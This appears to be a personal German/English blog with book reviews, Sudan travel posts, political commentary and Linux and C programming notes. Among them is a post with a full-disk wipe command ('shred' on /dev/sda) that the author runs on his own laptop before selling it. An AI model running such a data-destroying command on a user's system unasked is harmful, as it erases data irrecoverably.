Making the Future ist eine Ende Februar 2012 erschiene Sammlung von in der New York Times erschienenen Artikeln aus dem Zeitraum April 2007–Oktober 2011. Das Buch eignet sich sicherlich gut als Einstieg in Chomskys Werk, denn die Artikel sind überschaubar, in sich abgeschlossen und gut verständlich. Für mich persönlich war es noch einmal interessant, markante Ereignisse und Entscheidungen dieser Zeit (z.B. die Ernennung Obamas zum Präsidenten, sein Friedensnobelpreis; die Gaza-Flottilla; WikiLeaks' CableGate; Somalische Piraten; die Finanzkrise; den Arab Spring) zu rekapitulieren und auch zu sehen, wie Tatsachen, die ich soweit ich mich erinnere erst später erfahren habe, schon zu den jeweiligen Zeitpunkten absehbar waren. – Teilweise wiederholen sich ganze Absätze oder Formulierungsbausteine. Der folgende Absatz aus Chomskys am Ende des Buches abgedruckten Occupy Boston-Rede vom Ende Oktober 2011 lässt den Titel des Buches gerechtfertigt erscheinen.
Karl Marx famously said that the task is not just to understand the world but to change it. A variant to keep in mind is that if you want to change the world you'd better try to understand it. That doesn't mean just listening to a talk or reading a book, though that's helpful sometimes. You learn from participating. You learn from others. You learn from all the people you're trying to organize. We all have to gain the understanding and the experience to formulate and implement ideas and plans as to how to move forward.
Jetzt lese ich wieder ein bisschen an meiner Dostojewski-Gesamtausgabe, momentan: Der Idiot.
I'm currently working on a computer science project where we try to understand and possibly research solutions to the bufferbloat phenomenon. We created some simple RRD graphing automatism to better visualize the phenomenon.
In short – and most internet users would say this is perfectly normal behaviour – Bufferbloat describes that with high-speed uploads or downloads, network latency skyrockets. For my home router and a five-megabyte upload, it looks like this:
The grid intervals are in seconds and feature 10 data points corresponding to 10 pings in that second to a server (here 8.8.8.8). Lighter blue means further away from the median, which for clarity is displayed as a black line, too. – Thus you can see that the nearly constant ping time of ~20ms goes up to an unsteady ~140ms during the upload.
In the next-20120524
Kernel tree the codel
and fq_codel
queuing
disciplines were made available.
The CoDel implementation is based on this month's paper by van
Jacobsen at al, which is
definitely worth a read (and features good explanatory diagrams, too).
So I set out to try fq_codel
locally first, that is: limiting my
Wifi output rate to the supposed output rate of my cable modem and then
re-do the same upload.
With tc-commands, this resolves to this:
IF=wlan0
tc qdisc del dev $IF root
tc qdisc add dev $IF root handle 1: htb
tc class add dev $IF parent 1: classid 1:1 htb rate 125kbps
tc qdisc add dev $IF parent 1:1 handle 10: fq_codel
tc filter add dev $IF protocol ip prio 1 u32 match ip dst 0.0.0.0/0 flowid 1:1
And guess what happens? The upload that took 45.7 seconds before now takes 46.9 seconds; but the median ping times are around 30ms as opposed to ~140ms. (Also, consider that the packet loss is down to 0% as opposed to 1.5% before.) So this is really nice:
I hope I can test this with my colleagues using a fresh CeroWRT install next week such that we can control all the parameters and do more accurate measurements.
Update: The default 13
parameter to the root handle HTB qdisc
that was present in the original version of this post is unnecessary
and was thus removed.
Wenn man mal schnell einen mathematischen Gedankengang aufschreiben und weitergeben will, dafür aber nicht gleich ein neues LaTeX-Dokument kreieren will, dann gibt es unter mathb.in eine einfache Möglichkeit dies zu tun: ein Pastebin, das LaTeX-Rendering anbietet. Das Rendern passiert dort mit MathJax, einem JavaScript, das dies adäquat im Browser umsetzen kann. (Alternativ kann man kürzere Formeln auch bei CodeCogs als PNG umsetzen lassen; Fließtext und vernünftiger Umbruch ist da aber schwierig hinzubekommen.)
Das sieht dann so aus:
Wenn man in Echtzeit mit jemandem Mathematik treiben will, gibt es sogar MathIM, einen Chat mit LaTeX-Unterstützung. Schnell, ohne Anmeldung, komfortabel.
I have a pair of new monitors (Dell U2312HM, find them here). I used to have one somewhat cheap 18.5" widescreen with 1366x768 (which is the same resolution as my Thinkpad X220), but reading long texts or working long hours really tired my eyes a lot.
The new screens have nice 23" IPS panels with great viewing angles. But most important of all, I can adjust the height of the screens and rotate them. Now my desk looks like this:
The X220 can only have two monitors connected at once. Also, the Docking Station's DVI output is single link. Thus, I connect one of the monitors via VGA and the other via DVI.
I use a simple shell script that is invoked when I press Fn+F7. Note that you have to turn off the LVDS1 internal display first before you can activate the two screens at once.
if [ $(xrandr -q | grep -c " 1920x1080 60.0 +") -eq 2 ]; then
xrandr --output LVDS1 --off
xrandr --output HDMI3 --auto --rotate left --output VGA1 --auto --right-of HDMI3 --primary
else
xrandr --output VGA1 --off --output HDMI3 --off
xrandr --output LVDS1 --auto
fi
Die letzten beiden Wochen habe ich nichts gebloggt, weil ich an einem kleinen Projekt geschrieben habe, das nun endlich fertig ist: Mein Reisebericht Von Kairo nach Khartoum über die Sudan-Reise.
Der Bericht ist eine hoffentlich amüsante und interessante Zusammenstellung von Erlebnissen; ich habe mich bemüht, auch Leuten, die noch nicht in Afrika gereist sind, zu vermitteln, wie das Leben dort abläuft.
Falls ihr's lesen wollt, plant ein bisschen Zeit ein: Es sind über 150 Fotos und ca. 40 DIN A4-Seiten Text.
I'm back from Sudan! – After six weeks of travelling in the desert, mostly taking cheap sleeping options and uncomfortable local transport it is a huge relief to have these certain luxury items again: Water from the tap (which you can drink!), a hot shower, a washing machine and a nice bed.
I wrote a travel diary and will use excerpts to write up a travelog with some photos from the journey. (This will take some days, naturally.) Already I tried stitching together a panorama image of Marawi, taken in the first morning light from the top of Jebel Barkal near Karima. It's a very typical pattern which you can see anywhere along the Nile: a few hundred meters of fields, then the main village, a tarmac road – built by the Chinese, mostly – and then: hundreds of kilometers of desert.
It is shivery-cold here in Berlin; already I miss Khartoum's every-day-above-40°C weather.
I'm so excited! Tomorrow afternoon, together with a good friend of mine I'll board a plane to Cairo, Egypt. There, we'll try to acquire visas to enter Sudan. Essentially, we will travel up the river Nile from Cairo via Aswan, Wadi Halfa, and Atbara to Khartoum. If we have time, we'll also visit Port Sudan. In total, we have six weeks of time on our hands.
I hope I'm prepared well: I've been learning a bit of Arabic at university for the past two semesters; also, I've been reading the Sudan Tribune the past few months to stay up to date about the situation there. – Other than that, it's the usual stuff you should bring: insect repellent, anti-malaria tablets, water purifier, sunblocker, a good book and a (paper) notebook. Oh, and they don't have ATMs in Sudan, so it's all cash. Better hide it well. (Correction: There are no ATMs for international CCs like Master, Visa oder AmEx. For the local banks, there are quite a few.)
I had to cut down on my initial travel plans, which would have led from Cairo to Dar es Salaam (via Khartoum, Juba, Kampala), crossing five countries in total. This is not feasible any more, however, due to the high tension and violence in Southern Sudan (especially in the Abyei region). – On the upside, it'll be a rather relaxed journey now!
In Khartoum it's 36°C right now... – See you in April!
Ein Buch, das man sich wirklich nicht entgehen lassen sollte, ist Thinking, fast and slow von Nobelpreisträger Daniel Kahneman. Es ist sicherlich kein sehr mitreißendes Buch, aber auch nicht allzu trocken oder komplex. Thema des Buches sind die zwei Akteure System I und System II – die Intuition, die zwar schnell, dafür aber ungenau arbeitet und leicht zu täuschen ist, und das, was wir "angestrengtes Nachdenken" nennen.
Im Wesentlichen geht es darum, was für Mechnismen gewissen für uns typischen Denkmustern zugrund liegen, wie wir sie analysieren können, und was für Fehlinformationen sie uns glaubhaft machen können. Als wissenschaftliche Grundlage dienen dafür Gedankenexperimente, die großteils auch an Gruppen von Probanden getestet werden. (Jeweils gegen monetäre Entschädigung, häufig ist die Höhe der Entschädigung auch Grundlage des Experiments; wer finanziert sowas eigentlich? Und warum mache ich nie bei solchen Studien mit, wo man durch Beantworten einiger weniger Fragen ein paar Dutzend Euro erhalten kann? –)
Kahneman erklärt anhand einiger simpler kognitiver Illusionen, denen wir tagtäglich erliegen und die uns als scheinbar rationale Wesen objektiv völlig irrationale Handlungen unternehmen lassen, wie wir diese Illusionen a) erkennen können und teilweise auch b) dagegen vorgehen können.
Das Buch hat übrigens einen guten Index, so dass ich auch die äußerst passende Zusammenfassung aus dem Nachwort wiederfinden konnte:
The way to block errors that originate in System 1 [intuition] is simple in principle: recognize the signs that you are in a cognitive minefield, slow down, and ask for reinforcement from System 2 [careful thinking, as in: doing the math, considering statistics]. This is how you will proceed when you next encounder the Müller-Lyer illusion. When you see lines with fins pointing in different directions, you will recognize the situation as one in which you should not trust your impression of length. Unfortunately, this sensible procedure is least likely to be applied when it is needed most. We would all like to have a warning bell that rings loudly whenever we are about to make a serious error, but no such bell is available, and cognitive illusions are generally more difficult to recognize than perceptual illusions. (p. 417)
Im Nachwort räumt Kahneman übrigens mal eben so mit der Chicago
School
auf, die ja wesentlich auf der Illusion eines "rationalen Menschen"
aufbaut: The economists of the Chicago school do not face
that problem [whether to protect people from themselves], because
rational agents do not make mistakes. For adherents of this school,
freedom is free of charge.
(p. 412) – –
Etwas leichtere Kost war Philip Roths Nemesis. Im Sommer 1944 geht es ums Überleben: Für die einen, weil sie in den Krieg ziehen müssen, für die anderen, weil sie zu jung sind, und sich zu Hause mit einer Polioepidemie konfrontiert sehen. Auch wenn der Protagonist diesmal nicht krebskrank in der Midlife-Crisis steckt, gelingt es Roth doch leider nicht, mal einen Roman zu schreiben, in dem es nicht um Tod, Verfall und Bedauern über das eigene Leben geht. Nichts also, womit ich mich identifizieren kann. – Viel eher kam ich dagegen mit Charles Bukowskis autobiographischem Character Chinaski in Das Liebesleben der Hyäne zurecht: Ein herrliches Buch, das ich an einem Abend gelesen habe. Hoffentlich bin ich mit 50 auch noch so gut drauf!
Mal wieder zwei nicht zu Ende gelesene Bücher, die mich nicht vom Hocker gehauen haben: Thomas Pakenham: Der kauernde Löwe, eine monumentale, aber doch etwas schwerfällige Biographie der Eroberung und Kolonialisierung der Mitte des afrikanischen Kontinents (also im Wesentlichen auch die Suche nach der Quelle des Nil) – Anne Michaels: Wintergewölbe, ein Roman über den Ab- und Wiederaufbau des Abu-Simbel-Tempels. Die Abschnitte über die forcierte Umsiedlung der Nubier (und das Pendant in Kanada) ist spannend und ergreifend, aber alles pseudo-bedeutungsschwere dazwischen langweilt nach den ersten drei Seiten, leider.
Al Jazeera's documentary about the Bahrain protests, Shouting in the Dark, has received a prestigeous award. The documentary is really worth watching.
I found the insidious practices of the Bahraini prince – and the Arab league's suport – extremely unnerving.
Ich vermeide es größtenteils, über Politik zu schreiben. Das liegt im wesentlichen daran, dass es einfach sehr viele Leute gibt, deren Tagesgeschäft das ist und die folglich darin um einige Größenordnungen besser sind als ich. Außerdem ist es so, dass mich die Beschäftigung mit Politik fast ausnahmslos wütend macht: Täglicher Politik-Nachrichten-Konsum ist bestens dazu geeignet, den Glauben an Fortschritt in unserer Gesellschaft zunichte zu machen.
Aktueller Anlass ist natürlich die Einigung vierer von fünf im
Bundestag vertretenen Parteien auf Gauck als neuen
Bundespräsidenten.
Man bemüht sich dort noch nicht einmal, diesem Gauck irgendwelche
Qualitäten, die ihn als Bundespräsidenten auszeichnen würden,
zuzusprechen: Merkel sagte, mit Gauck verbinde sie vor allem die
gemeinsame Vergangenheit in der DDR. Für Gauck habe sich der Weg von
der Kirche in die Politik von fast alleine ergeben. Ihn zeichne aus,
ein "wahrer Demokratielehrer" geworden zu sein.
– Ja,
Demokratielehrer schön und gut. Aber Aufgabe des Bundespräsidenten
sollte es ja nicht sein, Demokratie zu lehren. Seine Aufgabe sollte es
vor allem auch sein, den Fokus auf Probleme im Land und im politischen
Diskurs zu lenken. Das kann man von Gauck wohl eher weniger erwarten.
Im wesentlichen scheint ein schlagendes Argument zu sein, dass sich viele Deutschen Gauck als Präsidenten wünschen. Das klingt auch vernünftig, bis man die Hintergründe recherchiert. Kaliber "Guttenberg ist so nett", sag ich nur.
Ein Pastor soll Präsident in Deutschland werden. – Pastoren: Das sind diejenigen, die professionell, das heißt um ihr täglich Brot zu verdienen, Tag für Tag, Woche für Woche Unwahrheiten predigen. Das sind diejenigen Menschen, die die evangelische Kirche repräsentieren – und somit im Grunde ihres Wesens gegen Fortschritt und Selbstverantwortlichkeit sind. (Man darf sich wohlgemerkt nicht von der Tatsache blenden lassen, dass auch Gutes aus diesen Kreisen kommt!) – – Wenn wir eines in diesem Land nicht gebrauchen können, dann einen zahnlosen, anti-sozialen, christlichen Bundespräsidenten.
Auch wenn man Fefes Ratschläge vielleicht nicht immer erst nehmen sollte: Die Nominierung Georg Schramms wäre in der Tat ein Geniestreich der Piraten – gewesen. Ich habe heute zwei Stunden lang alte TV-Mitschnitte von Schramm geschaut – die nota bene alle in öffentlich-rechtlichen Kanälen liefen, das hat mich doch positiv überrascht! – und da ist wirklich mal ein Mann, der mit der Faust auf den Tisch haut, ein Loblied auf den Zorn singt und wirklicht etwas zu sagen hat.
Update: Sag ich doch, andere können das besser. So zum Beispiel Deniz Yücel
in seinem Replik auf die Kritik
Lobos, der dessen Kolumne kritisierte:
Der Holocaust, meint er [Gauck], ist eine Ersatzreligion der Gottlosen. Damit stellt
er sich in die Tradition von Leuten, die ein Leben und Denken ohne Gott für
unvorstellbar halten und den Nationalsozialismus gerne für ein Produkt der
Gottlosigkeit halten, anstatt darin auch das in Ideologie wie Praxis
modernisierte und radikalisierte Ergebnis des christlichen Antijudaismus zu
erkennen.
I just wrote an exam for the course Technische Informatik III which was about operating systems and network communication. In the exercises throughout the semster, we had to program in C a lot. Naturally, in the exam was one task about interpreting what a C program does.
It was really simple: Listening on a UDP socket and print incoming packets
along with source address and port. The program looked somewhat like this (from
what I remember; also some things were done in a not so clever way on the exercise
sheet, and they had obfuscated the variable names to a non-descriptive
a
, b
, etc.):
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <error.h>
int main(int argc, char *argv[])
{
int sockfd;
struct sockaddr_in listen, incoming;
socklen_t incoming_len;
char buf[1024];
int len; /* of received data */
/* listen on 0.0.0.0:5000 */
listen.sin_family = AF_INET;
listen.sin_addr.s_addr = INADDR_ANY;
listen.sin_port = htons(5000);
if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
perror("socket");
if(bind(sockfd, (struct sockaddr *) &listen, sizeof(listen)) == -1)
perror("bind");
while(1) {
len = recvfrom(sockfd, buf, 1024, 0, (struct sockaddr *) &incoming,
&incoming_len);
buf[len] = '\0';
printf("from %s:%d: \"%s\"\n", inet_ntoa(incoming.sin_addr),
ntohs(incoming.sin_port), buf);
}
}
I lol'd so hard when I saw this. It's a classic off-by-one error. (Can you spot it, too?)
If you want to store x bytes of data in a string, reserve x+1
bytes for the NULL termination character. Here, if you send a message
that is exactly 1024 bytes long (or longer, as it'll get truncated),
buf[len]
will actually be the 1025th byte. Which might
just be anything.
And those guys want to teach network and filesystem programming – hilarious. :-D
In manchen Momenten hasse ich das Leben hier: Habe gerade eben den Zug in Dresden verpasst, und der nächste fährt erst in zwei Stunden. Der Gutschein der Deutschen Bahn, den ich vor ein paar Wochen per Post bekam und den ich nun einzulösen gedachte, ist nur für Fahrkarten gültig, deren Wert fünfzig Euro übersteigt (wohlgemerkt nach 50% BC-Rabatt) – hat man ja auch eher seltener, wenn's keine ganz große Reise ist.
Und so sitze ich am Hauptbahnhof bei frostigen Graden. Na immerhin macht es sich bezahlt, dass ich UMTS eingerichtet habe – das funktioniert nämlich.
Wäre doch bloß Sommer, dann wär's sicher ganz angenehm hier.
Last weekend I toyed around a bit and tried to write a shared object
library that can be used via LD_PRELOAD
to minimize the effect a
program has on the Linux filesystem
cache.
Basically the use case is that you have a productive system running, and you don't want your backup script to fill the filesystem cache with mostly useless information at night (files that were cached should stay cached). I didn't test whether this brings measurable improvements yet.
The coding was really fun and provided me with yet another insight how the simple concept of file descriptors in UNIX is just great. (GNU software is tough, though: I got stuck once, and found help on Stackoverflow, which I had never used before.)
Gute Vortragende – seien es Dozenten, Professoren oder einfach nur Leute, die etwas referieren oder präsentieren – zeichnen sich unter anderem dadurch aus, dass sie mit den Zuhörern interagieren, an den richtigen Stellen Pausen machen und weiterführende Fragen stellen, statt monoton zu reden. Man kann dieses "Fragen stellen" aber in zweierlei Hinsicht falsch bzw. kontraproduktiv einsetzen.
Zunächst sind Suggestivfragen nur teilweise angebracht. Fragen wie "Fällt Ihnen hieran etwas auf?", die bewirken sollen, dass das Publikum die Situation kritisch unter die Lupe nimmt und eventuelle Ungereimtheiten aufspürt, sind gut. Aber rhetorisch anmutende Fragen wie "Alles verstanden?", bei denen spürbar wird, dass ein Ja erwartet wird, sind meist nicht produktiv: Die wenigsten werden sich melden, falls sie etwas nicht verstanden haben, und der Vortragende wiegt sich in falscher Sicherheit. Eine gute Alternative ist: "Gibt es Fragen bis hierher?", und eine anschließende kleine Besinnungspause.
In meinen Augen wirklich desaströs ist eine zu lose, offene, aber zugleich extrem erwartungsvolle Fragetaktik. "Wie können wir X erreichen?", ohne dass das Auditorium auch nur ansatzweise weiß, wie das Problem angegangen werden kann. Dann macht sich Verwirrung breit, und spätere Fragen, die möglicherweise sehr einfach zu beantworten sind, werden möglicherweise gar nicht oder zumindest nur sehr zögerlich beantwortet, weil das Publikum meint, die Fragestellung missverstanden zu haben, genau weil die Lösung auf der Hand liegt. – Das lähmt die Interaktion nachhaltig.
Zwei solcher Fragen, die eine kaum zu beantworten, die nachfolgende trivial, seien hier als Beispiel angeführt:
– Was haben wir nun für ein Problem bei der kanonischen Wahl der Basis des Tangentialraumes? (Gesuchte Antwort: Weil M nicht in einem umgebenden Raum betrachtet werden kann, muss TpM mit Hilfe von Äquivalenzklassen der Differentiale von Kurven, die in M durch p verlaufen, untersucht werden.)
– Welche Struktur hat TpM dann? (Gesuchte Antwort: Vektorraumstruktur.)
In letzter Zeit mache ich mehrmals pro Woche selbst Pizza. Das schmeckt nicht nur besser und ist viel billiger als Fertigpizza, es macht auch einfach Spaß und hat etwas meditatives.
Ich mache einmal die Woche Teig aus einem Würfel Hefe, ca. 700g Mehl und 0.35L Wasser – der reicht für drei große Pizzen. (Den Teig eine Stunde gehen lassen, ab dann aber im Kühlschrank abgedeckt aufbewahren!)
Lecker!
Ich habe eben versucht, meinen altes Notebook auf Ebay einzustellen.
Schließlich und endlich hat es dann auch
geklappt.
Nicht, dass das einfach war: Anscheinend kann man den Ebay Richt Text
Editor nicht mit Firefox benutzen. Zumindest ich kann das nicht.
Deswegen konnte ich keine Artikelbeschreibung einstellen.
Mangels Alternativen habe ich dann Windows XP in einer KVM gebootet,
und das Angebot mit dem Internet Explorer erstellt. Der funktioniert
aber auch nur teilweise: Das Tutorial über die neue Art und Weise, wie
eBay Geld überträgt, musste ich durch"klicken", indem ich oben in der
URL die pageNr
-Parameter hochgezählt habe. Die "Weiter"-Buttons
waren leider nicht sichtbar, außer auf der letzten Seite.
Ich habe lange nicht mehr eine so inkompetent aufgebaute und unübersichtliche Seite wie eBay benutzt. Ein pures Wunder, wie das Leute tagtäglich benutzen können.
Merken die Leute nicht, dass es benutzbare und unbenutzbare Webseiten gibt? Gibt eBay kein Geld für Usability-Tester aus?! – Unbegreiflich für mich.
I'm currently shredding my old X41's hard drive, because I want to sell it (if you are interested, contact me). I'm overwriting it with zeros, ten passes:
$ shred -vfz -n 10 /dev/sda
Luckily, the disk was fully encrypted all the time. So it's just a precaution.
About ten years ago, I began using Vim. Since about eight years ago, I have been using Vim for every email, every piece of code, literally every text I write. Today, I want to write a short text about how I came to use Vim and what I like about it.
I don't really remember when I first used Vim. It must have been around the time when I was programming PHP a lot. I had access to a "real" computer at home – running Windows XP – in 2002 for the first time; before that, I could only use older Macintoshs. It's typical for first-time Vi users to stumble into believing – by hear-say, I guess – that it is indeed a really superior editor, until they try it out the first time and can't even save, because they don't know how to. That were my first experiences too, probably.
Anyhow, at some point in time I ditched PHP Zend Studio for SciTE. Later, I got to know Vim (i.e., by reading a tutorial about it and actually understanding it) and was instantly hooked. Probably, the guys over at #html.de talked me into it. Ironically, I used Vim before I ever used a UNIX-like operating system.
In my Vim learning curve, I identify seven important advances:
:echoerr
a
message.
Today, I configure all programs to use Vim key bindings, especially
for horizontal and vertical navigation. It's the first thing to do.
I only use the arrow keys for Mplayer seeking.:help text-objects
, if you
don't know about them.Steps 1–5 happened in the first two years. The text object only came with more recent Vim development, and I'm not quite sure when I adopted them. Learning the US layout was around 2006, maybe.
When I switched to using Debian in 2004, using Vim for all tasks already felt natural. Of course, at that point I finally came to understand Vim not merely as a text editor, but as a philosophy. And that is what fascinates me to this day: The Vi way of editing text is much more than a set of clever key bindings. It's a language.
In a way, I'm really professional at using Vim. If I think of the tasks I do, I suspect there are very few superfluous keys I press during editing. I have acquired a really good intuition of how to skip to a particular line, to a particular function parameter or a certain word in a sentence. (I use [H], [M], [L] for global on-screen navigation a lot, and I heavily use the [f], [t], [F] and [T] jump commands.) Just as you don't actually think about the letters you type when you become a good typist, I don't think about what command keys I press in Normal mode. I just press them, and the cursor magically moves around to where my eyes rest. This is good.
On the other hand, I am just using core Vim features, most of which are already found in original Vi implementations. My really conservative .vimrc change history shows that I pretty much settled my editing habits. – But: I have never used a third-party plugin before. Strange as it may sound, I never felt the urge to do so. Command-T certainly looks like it could be of use; however, I usually start a new Vim instance and go with the Z Shell completion, which I suspect to be superior in more than one way, to find the file(s). – Thus I must acknowledge that there might be vast possibilities yet do discover. (Oh, and while confessing, there's another big one: I have never used Emacs. All I know about it is hear-say.)
For keyboard enthusiasts, there are two quirks with Vim: It mainly
relies on Escape for mode switches, and the keys for many
combinations are aligned for QWERTY layouts. There's just no way
around it: while [c] and [d] are mnemonic for cut and delete, [h],
[j], [k], [l] simply aren't. There's no way justify their use when
switching to Dvorak, and that's why I didn't (switch). I also once
tried mapping [j][j] to Escape, or using the Caps Lock key as Escape
replacement; I can't really stick to using it. (I also stick to
calling vim
on the command line instead of a shorter alias. It is
the fourth most command I type, after sudo
, git
, and man
.)
For me, text editing is equal to using Vim. I feel like a four-year old moving a mouse when I'm forced to use another editor on other people's computers. And because text editing is really clumsy with regular text editors, I no longer wonder why people don't really bother to correct errors: the effort is just not worth it.
If I had to sum up the difference between Vim and other editors in one sentence, it is this: While other editors are great for creating text, Vim is also great at manipulating text. And text manipulation, for most programmers and authors, is what it's all about.
:wq
Gerade mal zweistellige View-Zahlen? Das wundert mich. – Ich embedde das mal direkt, vielleicht hilft das...
Was so liegen geblieben ist:
Bei mir läuft die Königsmische auf Repeat.
I've had weird race conditions when using vlock
together with s2ram
. It
appears suspend to ram wants to switch
VTs, while
vlock
hooks into the switch requests and explicitly disables them. So some of
the time, the machine would not suspend, while at other times, vlock
wouldn't
be able to acquire the VT.
To solve this, I wrote a simple vlock
plugin, which simply clears the lock
mechanism, writes mem
to /sys/power/state
and later reinstates the locking
mechanism. This plugin is called after all
and new
. Thus, the screen will
be locked properly before suspending.
Here's my suspend.c
:
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
/* Include this header file to make sure the types of the dependencies
* and hooks are correct. */
#include "vlock_plugin.h"
#include "../src/console_switch.h"
const char *succeeds[] = { "all", "new", NULL };
const char *depends[] = { "all", "new", NULL };
bool vlock_start(void __attribute__ ((__unused__)) **ctx_ptr)
{
int fd;
unlock_console_switch();
if((fd = open("/sys/power/state", O_WRONLY)) != -1) {
if(write(fd, "mem", 3) == -1)
perror("suspend: write");
close(fd);
}
lock_console_switch();
return true;
}
Simply paste it to the vlock
modules folder, make suspend.so
and copy it to
/usr/lib/vlock/modules
. I now invoke it like this:
env VLOCK_PLUGINS="all new suspend" vlock
Are you fucking kidding me? You reintroduce broken behaviour that possibly has devastating security consequences and and make it the default?! Yeah I agree the "usual" X server locking approach is not the best way to do it – but to knowingly smash the security of people's computers on a grand scale... that's priceless.
(My locking solution is env USER=feh vlock -a -n
, again.)
Update: Why it happened
Today I wrote a rather cool Z-Shell completion function: It will
present all words that are found in the current tmux pane in a zsh
completion menu. That means you can actually complete words from the
output of commands that you just executed. (In a way it's a little
bit like the keeper
function,
without the overhead of remembering to call keeper
in the first place.)
The code below defines two keybindings:
176.9.247.89
somewhere in the pane, try typing .9
and hitting Ctrl-X twice.
It'll complete to that IP address.Here's the code:
_tmux_pane_words() {
local expl
local -a w
if [[ -z "$TMUX_PANE" ]]; then
_message "not running inside tmux!"
return 1
fi
w=( ${(u)=$(tmux capture-pane \; show-buffer \; delete-buffer)} )
_wanted values expl 'words from current tmux pane' compadd -a w
}
zle -C tmux-pane-words-prefix complete-word _generic
zle -C tmux-pane-words-anywhere complete-word _generic
bindkey '^Xt' tmux-pane-words-prefix
bindkey '^X^X' tmux-pane-words-anywhere
zstyle ':completion:tmux-pane-words-(prefix|anywhere):*' completer _tmux_pane_words
zstyle ':completion:tmux-pane-words-(prefix|anywhere):*' ignore-line current
zstyle ':completion:tmux-pane-words-anywhere:*' matcher-list 'b:=* m:{A-Za-z}={a-zA-Z}'
How does it work? _tmux_pane_words
will just capture the current
pane's contents (capture-pane
), print out the buffer that
contains it (show-buffer
) and then delete it again
(delete-buffer
). – The rest of the magic happens via Zsh's
excellent completion mechanisms.
See it in action (after typing spm^X^X
):
Update 2013-10-06: Daniel points out that since March ’13, there
is a switch -p
for capture-pane
to print the contents to stdout;
also, using the newly introduced -J
switch, wrapped words will be
joined. See his adaption here.
Today I played around with POSIX threads a little. In an assignment, we have to implement a very, very simple webserver that does asynchronous I/O. Since it should perform well, I thought I'd not only serialize I/O, but also parallelize it.
So there's a boss that just accepts new inbound connections and appends the fds to a queue:
clientfd = accept(sockfd, (struct sockaddr *) &client, &client_len);
if(clientfd == -1)
error("accept");
new_request(clientfd);
The new_request
function in turn appends it to a queue (of size
TODOS
= 64), and emits a cond_new
signal for possibly waiting
workers:
pthread_mutex_lock(&mutex);
while((todo_end + 1) % TODOS == todo_begin) {
fprintf(stderr, "[master] Queue is completely filled; waiting\n");
pthread_cond_wait(&cond_ready, &mutex);
}
fprintf(stderr, "[master] adding socket %d at position %d (begin=%d)\n",
clientfd, todo_end, todo_begin);
todo[todo_end] = clientfd;
todo_end = (todo_end + 1) % TODOS;
pthread_cond_signal(&cond_new);
pthread_mutex_unlock(&mutex);
The workers (there being 8) will just emit a cond_ready
, possibly
wait until a cond_new
is signalled, and then extract the first
client fd from the queue. After that, a simple function involving some
reads and writes will handle the communication on that fd.
pthread_mutex_lock(&mutex);
pthread_cond_signal(&cond_ready);
while(todo_end == todo_begin)
pthread_cond_wait(&cond_new, &mutex);
clientfd = todo[todo_begin];
todo_begin = (todo_begin + 1) % TODOS;
pthread_mutex_unlock(&mutex);
// handle communication on clientfd
(Full source is here: webserver.c.)
Now this works pretty well and is fairly easy. I'm not very experienced with threads, though, and run into problems when I do massive parallel requests.
If I run ab
, the Apache Benchmark tool with 10,000 requests, 1,000
concurrent, on the webserver it'll go up to 9000-something requests and
then lock up.
$ ab -n 10000 -c 1000 http://localhost:8080/index.html
...
Completed 8000 requests
Completed 9000 requests
apr_poll: The timeout specified has expired (70007)
Total of 9808 requests completed
The webserver is blocked; its last line of output reads like this:
[master] Queue is completely filled; waiting
If I attach strace while in this blocking state, I get this:
$ strace -fp `pidof ./webserver`
Process 21090 attached with 9 threads - interrupt to quit
[pid 21099] recvfrom(32, <unfinished ...>
[pid 21098] recvfrom(23, <unfinished ...>
[pid 21097] recvfrom(31, <unfinished ...>
[pid 21095] recvfrom(35, <unfinished ...>
[pid 21094] recvfrom(34, <unfinished ...>
[pid 21093] recvfrom(33, <unfinished ...>
[pid 21092] recvfrom(26, <unfinished ...>
[pid 21091] recvfrom(24, <unfinished ...>
[pid 21090] futex(0x6024e4, FUTEX_WAIT_PRIVATE, 55883, NULL
So the children seem to be starving on unfinished recv
calls, while
the master thread waits for any children to work away the queue. (With
a queue size of 1024 and 200 workers I couldn't reproduce the
situation.)
How can one counteract this? Specify a timeout? Spawn workers on
demand? Set the listen()
backlog argument to a low value? – or
is it all Apache Benchmark's fault? *confused*
Ich habe unter der Woche Bernd Ulrichs Streitschrift Wofür Deutschland Krieg führen darf. Und muss. vom Oktober 2011 gelesen. Das Buch war für mich unter mehreren Aspekten interessant. Einerseits beleuchtet es die Hintergründe der Kriege, die ich damals als Kind noch nicht mitbekommen habe – den Namen UÇK kannte ich zwar aus den Nachrichten, wusste aber damit nichts zu verbinden – und bietet so eine gute Perspektive auf die jüngere Deutsche Geschichte, gerade auch in Hinblick auf die Auswirkungen der Wiedervereinigung auf die geopolitische Sicherheitslage Europas und der Welt, sowie das politische Selbstbewusstsein Deutschlands. Andererseits meldet sich hier aus der Generation meiner Eltern ein Kriegsdienstverweigerer und ehemaliger Mitarbeiter des Fraktionsvorstandes der Grünen im Deutschen Bundestag zu Wort, der mittlerweile stellvertretender Chefredaktuer und Leiter des Politik-Ressorts der Zeit ist.
Das ganze ist flüssig zu lesen, aber natürlich kontrovers – und das soll es ja auch sein. Zunächst muss gesagt werden, dass das Buch eine Reihe interessanter Einsichten enthält, die auch sehr treffend ausformuliert sind. Über die Tatsache, dass sich in der deutschen Bevölkerung nur sehr schwierig eine stabile Mehrheit für einen Einsatz der Bundeswehr finden lässt, bemerkt er ganz richtig (S. 53):
Hinzu kommt ein ganz profaner Umstand. In Deutschland finden unablässig irgendwelche Wahlen statt, weshalb eine kriegführende Bundesregierung einem andauernden Plebiszit ausgesetzt ist, das sie nur überstehen kann, solange andere als die militärischen Fragen wahlentscheidend sind.
Und weiter:
Die Regierung wird infolgedessen dazu tendieren, die Fragen von Krieg und Frieden möglichst nicht zu thematisieren, ja, ihre Thematisierung aktiv zu verhindern.
Eine weitere interessante Beobachtung stellt Ulrich über die "spezielle Verbindung" zwischen Deutschland und Israel an (S. 73):
In der wachsenden Distanz zu Israel und in die zunehmende Skepsis gegen Militäreinsätze hinein bringt nun die Merkel-Doktrin Deutschland näher an einen Militäreinsatz für Israel. Hier liegt eine enorme latente Spannung.
Schaut man auf das Inhaltsverzeichnis, so kann man das Buch in einige wesentliche Thesen zusammenfassen:
